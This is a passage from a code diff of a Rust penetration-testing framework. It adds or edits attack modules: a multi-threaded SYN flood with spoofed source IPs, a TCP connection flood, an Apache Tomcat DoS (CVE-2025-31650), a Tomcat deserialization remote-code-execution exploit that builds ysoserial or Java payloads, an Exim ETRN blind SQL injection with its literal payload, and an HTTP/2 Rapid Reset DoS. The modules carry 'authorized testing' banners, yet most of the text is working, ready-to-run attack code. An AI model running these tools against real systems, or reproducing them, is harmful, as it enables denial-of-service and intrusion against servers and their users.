stop_flag.store(true, Ordering::Relaxed);
break;
}
}
}
}
// Batch update global stats to reduce atomic contention
if stats.packets >= STATS_BATCH_SIZE {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
stats.packets = 0;
stats.bytes = 0;
}
// Apply delay if configured
if let Some(d) = delay {
thread::sleep(d);
}
}
// Flush remaining stats
if stats.packets > 0 {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
}
}
/// Create an optimized raw socket for IP spoofing
fn create_raw_socket() -> Result<Socket> {
let socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket (requires root)")?;
// CRITICAL: Enable IP_HDRINCL to allow custom IP headers (required for spoofing)
socket.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Increase send buffer for burst capacity
let _ = socket.set_send_buffer_size(256 * 1024);
Ok(socket)
}
// ============================================================================
// MAIN EXECUTION
// ============================================================================
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
display_banner();
let config = gather_config(initial_target)?;
execute_attack(config).await
}
fn display_banner() {
println!("{}", r#"
Null SYN Exhaustion Testing Module v2.1
High-Performance Multi-Threaded Engine
With True IP Spoofing Support
FOR AUTHORIZED TESTING ONLY
"#.red().bold());
}
fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
println!("{}", "=== Configuration ===".bold());
// Target IP
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target IP")?
} else {
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
let target_ip: Ipv4Addr = normalized.parse()
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
// Target Port
let target_port = prompt_port("Target port", 80)?;
// Source Port
let src_port_input = prompt_default("Source port (blank for random)", "")?;
let source_port = if src_port_input.is_empty() {
None
} else {
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
};
// Random Source IP
let use_random_source_ip = prompt_yes_no(
"Use random (spoofed) source IPs? (requires root)",
false
)?;
// Worker count - default to CPU cores for optimal performance
let cpu_count = num_cpus::get();
let workers_input = prompt_default(
&format!("Worker threads (recommended: {})", cpu_count),
&cpu_count.to_string()
)?;
let worker_count: usize = workers_input.parse().map_err(|_| anyhow!("Invalid number"))?;
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
// Duration
let duration_input = prompt_required("Test duration (seconds)")?;
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
if duration_secs == 0 {
return Err(anyhow!("Duration must be > 0"));
}
// Interval Mode
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
let interval_mode = if zero_interval {
IntervalMode::Zero
} else {
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
IntervalMode::DelayMicros(delay)
};
// Payload Size
let payload_input = prompt_default("Null-byte payload size", "1024")?;
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
// Cap to IPv4 maximum
const MAX_PAYLOAD: usize = 65535 - IPV4_HEADER_LEN - TCP_HEADER_LEN;
if payload_size > MAX_PAYLOAD {
println!("{}", format!("[!] Payload capped at {} bytes", MAX_PAYLOAD).yellow());
payload_size = MAX_PAYLOAD;
}
let verbose = prompt_yes_no("Verbose output?", false)?;
// Summary
println!("\n{}", "=== Test Configuration ===".bold());
println!(" Target: {}:{}", target_ip, target_port);
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".into()));
println!(" Random IP: {}", if use_random_source_ip { "yes (spoofed - NEW IP per packet)" } else { "no" });
println!(" Workers: {} threads", worker_count);
println!(" Duration: {}s", duration_secs);
println!(" Interval: {:?}", interval_mode);
println!(" Payload: {} bytes", payload_size);
println!(" Packet Size: {} bytes", IPV4_HEADER_LEN + TCP_HEADER_LEN + payload_size);
if use_random_source_ip {
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
}
if !prompt_yes_no("\nProceed with test?", true)? {
return Err(anyhow!("Test cancelled by user"));
}
Ok(ExhaustionConfig {
target_ip,
target_port,
source_port,
use_random_source_ip,
worker_count,
duration_secs,
interval_mode,
payload_size,
verbose,
})
}
async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
println!("\n{}", "[*] Initializing attack engine...".yellow().bold());
// Shared state
let stop_flag = Arc::new(AtomicBool::new(false));
let packets_sent = Arc::new(AtomicU64::new(0));
let bytes_sent = Arc::new(AtomicU64::new(0));
// Detect local IP if needed (only used when NOT spoofing)
let local_ip = if !config.use_random_source_ip {
get_local_ipv4().unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
} else {
Ipv4Addr::UNSPECIFIED
};
if config.use_random_source_ip {
println!("{}", "[*] IP Spoofing Mode: Each packet will use a different random source IP".green().bold());
} else {
println!("[*] Local IP: {}", local_ip);
}
println!("[*] Spawning {} worker threads...", config.worker_count);
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
// Spawn native OS threads (not tokio tasks - blocking I/O)
let mut handles = Vec::with_capacity(config.worker_count);
for worker_id in 0..config.worker_count {
let config = config.clone();
let stop = stop_flag.clone();
let pkts = packets_sent.clone();
let bts = bytes_sent.clone();
let handle = thread::spawn(move || {
worker_thread(worker_id, config, local_ip, stop, pkts, bts, start_time);
});
handles.push(handle);
}
println!("{}", "[*] Attack started!".green().bold());
// Stats display loop (async-friendly)
let stats_stop = stop_flag.clone();
let stats_pkts = packets_sent.clone();
let stats_bytes = bytes_sent.clone();
let stats_task = tokio::spawn(async move {
while !stats_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
let pkts = stats_pkts.load(Ordering::Relaxed);
let bytes = stats_bytes.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
let mbps = if elapsed > 0.0 { (bytes as f64 * 8.0) / (elapsed * 1_000_000.0) } else { 0.0 };
print!("\r{}", format!(
"[*] Packets: {:>10} | {:>7.2} MB | Rate: {:>9.0} pkt/s | {:>6.2} Mbps ",
pkts,
bytes as f64 / (1024.0 * 1024.0),
rate,
mbps
).dimmed());
let _ = std::io::Write::flush(&mut std::io::stdout());
}
});
// Wait for test duration
tokio::time::sleep(duration).await;
// Signal workers to stop
stop_flag.store(true, Ordering::SeqCst);
// Wait for all workers to finish
for handle in handles {
let _ = handle.join();
}
stats_task.abort();
// Final statistics
let total_pkts = packets_sent.load(Ordering::Relaxed);
let total_bytes = bytes_sent.load(Ordering::Relaxed);
let elapsed = start_time.elapsed();
let elapsed_secs = elapsed.as_secs_f64();
println!("\n\n{}", "=== Attack Complete ===".green().bold());
println!(" Duration: {:.2}s", elapsed_secs);
println!(" Total Packets: {}", total_pkts);
println!(" Total Data: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
if elapsed_secs > 0.0 {
println!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
println!(" Avg Bandwidth: {:.2} Mbps", (total_bytes as f64 * 8.0) / (elapsed_secs * 1_000_000.0));
}
Ok(())
}
fn get_local_ipv4() -> Option<Ipv4Addr> {
use std::net::UdpSocket;
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
socket.connect("8.8.8.8:80").ok()?;
match socket.local_addr().ok()?.ip() {
IpAddr::V4(ip) => Some(ip),
_ => None,
}
}
@@ -0,0 +1,253 @@
use anyhow::{Result, anyhow, Context};
use colored::*;
use tokio::io::AsyncWriteExt; // Required for stream.shutdown()
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use std::net::SocketAddr;
use tokio::net::TcpStream;
use tokio::time::Instant;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
};
/// Configuration for the connection flood
#[derive(Clone, Debug)]
struct TcpFloodConfig {
target_addr: String, // Host:Port (Display only)
resolved_addrs: Vec<SocketAddr>, // Pre-resolved addresses
concurrent_connections: usize,
duration_secs: u64,
timeout_ms: u64,
verbose: bool,
}
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
print_banner();
let config = setup_wizard(initial_target).await?;
execute_flood(&config).await
}
fn print_banner() {
println!("{}", r#"
TCP Connection Flood (Connect & Drop)
High-Performance Handshake Exhaustion
"#.red().bold());
}
async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
println!("{}", "=== Configuration ===".blue().bold());
// Target
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target Host/IP")?
} else {
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
};
// Normalize and extract details
let normalized = normalize_target(&target_input)?;
// If normalized already has port, use it, else ask
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
let parsed_port = p.parse::<u16>()
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
(h.to_string(), parsed_port)
} else {
let p = prompt_port("Target Port", 80)?;
(normalized, p)
};
let target_addr = format!("{}:{}", host, port);
// Pre-resolve DNS
println!("{}", format!("[*] Resolving {}...", target_addr).yellow());
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_addr).await
.context("Failed to resolve target hostname")?
.collect();
if resolved_addrs.is_empty() {
return Err(anyhow!("Could not resolve target address"));
}
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
// Concurrency
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
let concurrent_connections: usize = concurrency_input.parse()
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
if concurrent_connections == 0 {
return Err(anyhow!("Concurrency must be > 0"));
}
// Timeout
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
let timeout_ms: u64 = timeout_input.parse()
.map_err(|_| anyhow!("Invalid timeout"))?;
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
// Duration
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
let duration_secs: u64 = duration_input.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
println!("\n{}", "=== Attack Summary ===".bold());
println!(" Target: {}", target_addr.cyan());
println!(" IP(s): {:?}", resolved_addrs);
println!(" Concurrency: {}", concurrent_connections);
println!(" Duration: {}", if duration_secs == 0 {
"INFINITE (Ctrl+C to stop)".to_string()
} else {
format!("{}s", duration_secs)
});
println!(" Mode: Connect & Drop (Handshake Stress)");
if !prompt_yes_no("Start Attack?", true)? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(TcpFloodConfig {
target_addr,
resolved_addrs,
concurrent_connections,
duration_secs,
timeout_ms,
verbose,
})
}
async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
println!("\n{}", "[*] Starting TCP Connection Flood...".yellow().bold());
let stop_flag = Arc::new(AtomicBool::new(false));
let stats_established = Arc::new(AtomicU64::new(0));
let stats_failed = Arc::new(AtomicU64::new(0));
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
let timeout_duration = Duration::from_millis(config.timeout_ms);
// Use the first resolved address for speed/simplicity
// In a more complex version, we could round-robin, but for DoS, hitting one IP hard is usually the goal.
let target_ip = config.resolved_addrs[0];
// Stats Printer
let s_stop = stop_flag.clone();
let s_est = stats_established.clone();
let s_fail = stats_failed.clone();
let s_start = start_time;
let stats_handle = tokio::spawn(async move {
while !s_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(1)).await;
let est = s_est.load(Ordering::Relaxed);
let fail = s_fail.load(Ordering::Relaxed);
let elapsed = s_start.elapsed().as_secs_f64().max(0.001);
let rate = est as f64 / elapsed;
print!("\r{}", format!(
"[*] Connected: {} | Failed: {} | Rate: {:.1} conn/s",
est, fail, rate
).dimmed());
use std::io::Write;
let _ = std::io::stdout().flush();
}
});
// Fixed Pool of Workers
let mut handles = Vec::with_capacity(config.concurrent_connections);
for _ in 0..config.concurrent_connections {
let stop = stop_flag.clone();
let est = stats_established.clone();
let fail = stats_failed.clone();
let cfg_timeout = timeout_duration;
let verbose = config.verbose;
let target = target_ip; // SocketAddr is Copy, so this is cheap and efficient
let handle = tokio::spawn(async move {
let mut err_counter = 0u64;
while !stop.load(Ordering::Relaxed) {
// Try to connect using the pre-resolved IP
// This skips DNS resolution on every attempt
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
Ok(Ok(mut stream)) => {
// Connected!
est.fetch_add(1, Ordering::Relaxed);
// "Connect & Drop" - Immediate shutdown sends FIN
let _ = stream.shutdown().await;
}
Ok(Err(e)) => {
// Connection failed (refused, network unreachable, etc.)
fail.fetch_add(1, Ordering::Relaxed);
if verbose {
err_counter = err_counter.wrapping_add(1);
// Log ~0.1% of errors
if err_counter % 1000 == 0 {
eprintln!("\n[!] Conn Error: {}", e);
}
}
}
Err(_) => {
// Timeout
fail.fetch_add(1, Ordering::Relaxed);
}
}
// No sleep - max speed
}
});
handles.push(handle);
}
// Wait for duration or Ctrl+C
if config.duration_secs > 0 {
tokio::time::sleep(duration).await;
} else {
println!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
let _ = tokio::signal::ctrl_c().await;
}
stop_flag.store(true, Ordering::Relaxed);
// Return cursor to new line after stats
println!();
println!("{}", "[*] Stopping threads...".yellow());
// Wait for workers to finish (graceful shutdown)
// In a massive flood, we might not strictly wait for all if they are hung, but with timeout they should finish.
// We can just detach them or await them. Awaiting ensures clean exit.
for h in handles {
let _ = h.await;
}
// Stop stats thread
let _ = stats_handle.await;
// Final Report
let total_est = stats_established.load(Ordering::Relaxed);
let total_fail = stats_failed.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
println!("\n{}", "=== Attack Complete ===".green().bold());
println!("Target: {}", config.target_addr);
println!("Duration: {:.2}s", elapsed);
println!("Total Connections: {}", total_est);
println!("Failed Attempts: {}", total_fail);
if elapsed > 0.0 {
println!("Average Rate: {:.1} conn/s", total_est as f64 / elapsed);
}
Ok(())
}
@@ -2,11 +2,11 @@ use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::io::{self, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
use std::io::Write;
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
@@ -69,10 +69,14 @@ pub async fn run(target: &str) -> Result<()> {
fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
io::stdout().flush().ok()?;
std::io::stdout()
.flush()
.ok()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer).ok()?;
std::io::stdin()
.read_line(&mut buffer)
.ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
@@ -135,7 +139,9 @@ async fn send_invalid_priority_requests(host: String, port: u16, count: usize, t
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
let prio = priorities.choose(&mut rand::rng())
.map(|s| s.to_string())
.unwrap_or_else(|| "u=0".to_string());
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
@@ -1,10 +1,11 @@
use anyhow::{bail, Result};
use crate::utils::{validate_command_input, normalize_target, prompt_default, prompt_port};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
const BANNER: &str = r#"
@@ -16,29 +17,7 @@ const BANNER: &str = r#"
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// // Prompt helper
fn prompt(message: &str, default: Option<&str>) -> String {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
let input = buf.trim();
if input.is_empty() {
default.unwrap_or("").to_string()
} else {
input.to_string()
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
@@ -64,6 +43,7 @@ async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, p
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
// Command is already validated before calling this function
let payload_java = format!(
r#"
import java.io.IOException;
@@ -205,7 +185,15 @@ async fn execute_exploit(
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
// Extract host from URL safely
let host = target_url
.split("://")
.nth(1)
.unwrap_or(target_url)
.trim_matches('/')
.split(':')
.next()
.ok_or_else(|| anyhow::anyhow!("Failed to extract host from URL: {}", target_url))?;
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
@@ -213,10 +201,14 @@ async fn execute_exploit(
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
// Validate command input to prevent injection
let validated_command = validate_command_input(command)
.map_err(|e| anyhow::anyhow!("Invalid command: {}", e))?;
match payload_type {
"java" => generate_java_payload(command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
"java" => generate_java_payload(&validated_command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(&validated_command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
@@ -236,11 +228,13 @@ async fn execute_exploit(
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
let scheme = if target.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(target)?;
let mut target = format!("{}://{}", scheme, normalized);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080"));
let mut port = prompt_port("Enter port", 8080)?.to_string();
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
@@ -264,30 +258,34 @@ pub async fn run(target: &str) -> Result<()> {
"#
);
let selection = prompt("Select an option", None);
let selection = prompt_default("Select an option", "")?;
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target));
let raw_input = prompt_default("Enter target URL", &target)?;
let scheme = if raw_input.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(&raw_input)?;
target = format!("{}://{}", scheme, normalized);
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command));
command = prompt_default("Enter command to execute", &command)?;
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port));
let p_u16 = prompt_port("Enter port", port.parse().unwrap_or(8080))?;
port = p_u16.to_string();
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
ysoserial_path = prompt_default("Path to ysoserial.jar", &ysoserial_path)?;
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget));
gadget = prompt_default("Enter gadget", &gadget)?;
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
payload_type = prompt_default("Payload type (ysoserial/java)", &payload_type)?;
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
@@ -0,0 +1,88 @@
use anyhow::{Result, Context};
use colored::*;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use std::time::Duration;
use tokio::time::Instant;
use crate::utils::{prompt_required, normalize_target, prompt_port};
/// Exim ETRN SQL Injection (CVE-2025-26794)
///
/// Time-based SQL injection in Exim's ETRN command when using SQLite backend.
/// Ported from PHP PoC.
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// User requested port selection. Default is 25.
let port: u16 = prompt_port("Target Port", 25)?;
println!("{} Target: {}:{}", "[*]".blue(), target_ip, port);
// Test logic:
// 1. Normal Request: "ETRN #test" -> Measure Time
// 2. Delayed Request: "ETRN #',1); SELECT ... RANDOMBLOB(10000000) ..." -> Measure Time
// 3. Compare difference.
let normal_time = measure_response(&target_ip, port, "ETRN #test\r\n").await?;
println!("{} Normal Response Time: {:.3}s", "[*]".blue(), normal_time.as_secs_f64());
// SQLite Delay Payload from PoC
// SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(10000000))))
// This payload causes CPU intensive operation, delaying response.
let delay_payload = "SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(10000000))))";
let sqli_payload = format!("#',1); {} /*", delay_payload);
let malicious_command = format!("ETRN {}\r\n", sqli_payload);
println!("{} Sending time-based SQLi payload...", "[*]".blue());
let delayed_time = measure_response(&target_ip, port, &malicious_command).await?;
println!("{} Delayed Response Time: {:.3}s", "[*]".blue(), delayed_time.as_secs_f64());
let diff = delayed_time.as_secs_f64() - normal_time.as_secs_f64();
println!("{} Time Difference: {:.3}s", "[*]".blue(), diff);
// PoC uses 0.3s threshold
if diff > 0.3 {
println!("{} VULNERABLE to CVE-2025-26794 (Exim ETRN SQLi)!", "[+]".green().bold());
} else {
println!("{} Not vulnerable or target not using SQLite backend.", "[-]".red());
}
Ok(())
}
async fn measure_response(host: &str, port: u16, command: &str) -> Result<Duration> {
let addr = format!("{}:{}", host, port);
let mut stream = TcpStream::connect(&addr).await.context("Failed to connect")?;
// Read Banner
let mut buf = vec![0u8; 1024];
let _ = stream.read(&mut buf).await?;
// Send EHLO first (often required)
stream.write_all(b"EHLO test.com\r\n").await?;
let _ = stream.read(&mut buf).await?;
// Send Command
let start = Instant::now();
stream.write_all(command.as_bytes()).await.context("Failed to send command")?;
// Read Response
let _ = stream.read(&mut buf).await?;
let duration = start.elapsed();
Ok(duration)
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Exim ETRN Blind SQLi (CVE-2025-26794) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1 @@
pub mod exim_etrn_sqli_cve_2025_26794;
@@ -1,17 +1,50 @@
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
// Exploit Author: Madhusudhan Rajappa
// Date: 29th August 2025
// Version: HTTP/2.0
//! HTTP/2 Rapid Reset Denial of Service - CVE-2023-44487
//!
//! This module tests for and exploits the HTTP/2 Rapid Reset vulnerability that allows
//! denial of service attacks by rapidly creating and resetting HTTP/2 streams.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2023-44487
//! - **Affected**: Multiple HTTP/2 implementations
//! - **Attack Vector**: Rapid stream creation and reset
//! - **Impact**: Denial of Service (DoS)
//!
//! ## Usage
//! ```bash
//! run exploit http2/cve_2023_44487_http2_rapid_reset <target>
//! ```
//!
//! The module performs:
//! 1. Baseline test with normal HTTP/2 requests
//! 2. Rapid reset attack test
//! 3. Vulnerability analysis based on reset rates
//!
//! ## Security Notes
//! - Proper IPv6 address handling via utils.rs normalize_target
//! - Timeout handling for all network operations
//! - Connection cleanup and resource management
//! - Error handling with context
//!
//! **WARNING**: Only use on systems you own or have permission to test!
//!
//! Original Author: Madhusudhan Rajappa
//! Date: 29th August 2025
//! Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use std::io::{self, Write};
use h2::Reason;
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
use rustls::pki_types::ServerName;
use crate::utils::{
normalize_target, prompt_yes_no, prompt_int_range,
};
/// Displays module banner
fn banner() {
@@ -30,16 +63,68 @@ fn banner() {
);
}
/// Normalize IPv6 host with brackets
fn normalize_host(host: &str) -> String {
/// Parse and validate target using utils.rs normalize_target
/// Returns (host, port) tuple with proper IPv6 handling
fn parse_target(target: &str) -> Result<(String, u16)> {
// Use utils.rs normalize_target for comprehensive validation
let normalized = normalize_target(target)?;
// Check if normalized result contains a port
if normalized.starts_with('[') {
// IPv6 format: [::1]:port or [::1]
if let Some(bracket_end) = normalized.find(']') {
let host = normalized[1..bracket_end].to_string();
let rest = &normalized[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number in normalized target")?;
return Ok((host, port));
} else {
return Ok((host, 443)); // Default HTTPS port
}
}
return Err(anyhow!("Invalid IPv6 format from normalize_target"));
}
// IPv4 or hostname format: host:port or host
if let Some(colon_pos) = normalized.rfind(':') {
let host = normalized[..colon_pos].to_string();
let port = normalized[colon_pos + 1..].parse::<u16>()
.context("Invalid port number in normalized target")?;
Ok((host, port))
} else {
Ok((normalized, 443)) // Default HTTPS port
}
}
/// Normalize IPv6 host with brackets for socket address resolution
fn normalize_host_for_socket(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
if stripped.contains(':') && !stripped.starts_with('[') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Create TLS connector with empty root store (accepts self-signed certs)
/// NOTE: Empty root store means no CA certs are trusted by default.
/// For security testing, this is acceptable as we're testing the protocol.
fn create_tls_connector() -> TlsConnector {
use std::sync::Arc;
use tokio_rustls::rustls::ClientConfig;
// Create an empty root store - allows connections but cert validation will fail
// for untrusted certs (which is fine for security testing of HTTP/2)
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = ClientConfig::builder()
.with_root_certificates(root_store)
.with_no_client_auth();
TlsConnector::from(Arc::new(config))
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
@@ -49,7 +134,7 @@ async fn baseline_test(
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host(host);
let host_normalized = normalize_host_for_socket(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
@@ -57,24 +142,37 @@ async fn baseline_test(
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
let scheme = if use_ssl { "https" } else { "http" };
// Format host for URI (add brackets for IPv6)
let uri_host = if host.contains(':') && !host.starts_with('[') {
format!("[{}]", host)
} else {
host.to_string()
};
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let connector = create_tls_connector();
let server_name = ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name: {}", host))?
.to_owned();
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
.await
.context("TLS handshake timeout")?
.context("TLS handshake failed")?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
tokio::spawn(async move {
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
@@ -85,16 +183,16 @@ async fn baseline_test(
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.body(())
.unwrap();
.context("Failed to build request")?;
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
Err(e) => {
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
break;
}
}
@@ -105,18 +203,23 @@ async fn baseline_test(
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!("{}", "[+] Baseline Results:".green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
tokio::spawn(async move {
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
@@ -127,16 +230,16 @@ async fn baseline_test(
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.body(())
.unwrap();
.context("Failed to build request")?;
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
Err(e) => {
